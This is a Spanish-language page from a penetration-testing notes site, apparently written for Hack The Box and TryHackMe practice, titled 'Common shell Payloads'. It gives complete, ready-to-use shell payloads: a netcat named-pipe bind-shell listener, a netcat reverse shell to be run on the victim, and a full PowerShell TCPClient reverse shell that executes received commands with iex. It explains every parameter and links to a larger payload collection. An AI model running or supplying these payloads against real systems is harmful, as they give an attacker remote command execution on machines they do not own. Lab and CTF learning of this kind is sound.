Security Layer
Research Articles 🔎🎵👽GitHub
  • Bienvenido a Security Layer
  • 👾Hack The Box
    • 👾HACK THE BOX
    • Archetype
    • Responder
    • Three
  • Crocodile
  • Unrested
  • Shibboleth
  • Active
  • Bastion
  • Access
  • Devel
  • Optimum
  • Cicada
  • Forest
  • Sauna
  • Support
  • 👾Try Hackme
    • 👾TRY HACKME
    • Attacking Kerberos
  • 🛠️Tools
    • 🛠️Tools
    • Suite Impacket
    • SMBmap
    • SMBclient
    • WinPEAS
    • EvilWinRM
  • Wfuzz
  • Responder
  • John The Ripper
  • Gobuster
  • Hydra
  • Ffuf
  • nxc
  • Enum4Linux/Enum4Linux-ng
  • Crear Diccionarios
  • Kerbrute
  • Microsoft Windows
    • MSSQL
    • Glosario
  • ⚠️Scripts
    • Shell.ps1
    • Common shell Payloads
  • Comand Line Tools
    • Comand Line Tools Linux
    • Wget
    • Strings
    • Compartir y descargar recursos
    • Comand Line Tools Windows
    • Enumerar permisos de usuarios
    • Listar o identificar ficheros especificos
  • AWS
    • Conexiones a Bucket s3
Powered by GitBook
On this page
  • Create a listener for a bind shell
  • Reverse shell con PowerShell en Windows
  1. Scripts

Common shell Payloads

Create a listener for a bind shell

Listener:

mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

¿Qué hace este comando?

Este comando se ejecuta en tu máquina atacante y crea un listener con nc (Netcat) esperando conexiones entrantes. El shell que recibe se maneja con un archivo FIFO (pipe nombrado).

📌 Parámetros
  • mkfifo /tmp/f

    • Crea un FIFO (named pipe) llamado /tmp/f. Sirve como canal de entrada/salida para redirigir datos.

  • nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1

    • nc: Ejecuta Netcat.

    • -l: Escucha.

    • -v: Modo verbose.

    • -n: No intenta hacer DNS lookup.

    • -p <PORT>: Puerto donde se escucha.

    • < /tmp/f: Usa el FIFO como entrada estándar.

    • | /bin/sh: La entrada del FIFO se interpreta como comandos de shell.

    • >/tmp/f 2>&1: La salida (stdout y stderr) se escribe en el FIFO.

    • Así se logra una conexión interactiva de shell.

  • rm /tmp/f

    • Limpia el archivo FIFO una vez que se cierra la conexión

Reverse shell:

mkfifo /tmp/f; nc <IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

¿Qué hace este comando?

Este se ejecuta en la máquina víctima. Establece una conexión hacia tu máquina (tu IP y puerto) y redirige un shell usando un FIFO.

📌 Parámetros

Diferencias clave:

  • Cambia nc -lvnp <PORT> (modo escucha) por nc <LOCAL-IP> <PORT> (modo cliente).

  • <LOCAL-IP> es la IP de tu máquina atacante, donde estás escuchando con Netcat.

  • Sirve para enviar una reverse shell desde la víctima a tu listener.

Reverse shell con PowerShell en Windows

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

¿Qué hace este comando?

Este es un reverse shell en PowerShell para sistemas Windows. Se conecta a tu IP y puerto, recibe comandos, los ejecuta en PowerShell, y devuelve la salida.

Los valores <ip> y <port> son los que debemos setear con nuestros datos de nuestra máquina atacante

📌 Parámetros
  • TCPClient:

    • New-Object System.Net.Sockets.TCPClient('<ip>',<port>) establece una conexión hacia tu máquina atacante.

  • Canal de comunicación:

    • Usa $stream = $client.GetStream() para leer y escribir datos por el socket.

  • Lectura de comandos:

    • Lee datos entrantes en un bucle con $stream.Read(...), y los decodifica con ASCIIEncoding.

  • Ejecución de comandos:

    • Usa iex $data para ejecutar el comando recibido.

  • Respuesta al atacante:

    • Captura la salida con Out-String, la codifica en bytes y la escribe de vuelta en el stream.

  • Cierre:

    • Cuando se termina la conexión, cierra el socket con $client.Close().

Last updated 12 days ago

Para ver más payloads sobre reverse shell visitar:

⚠️
Payloads All The Things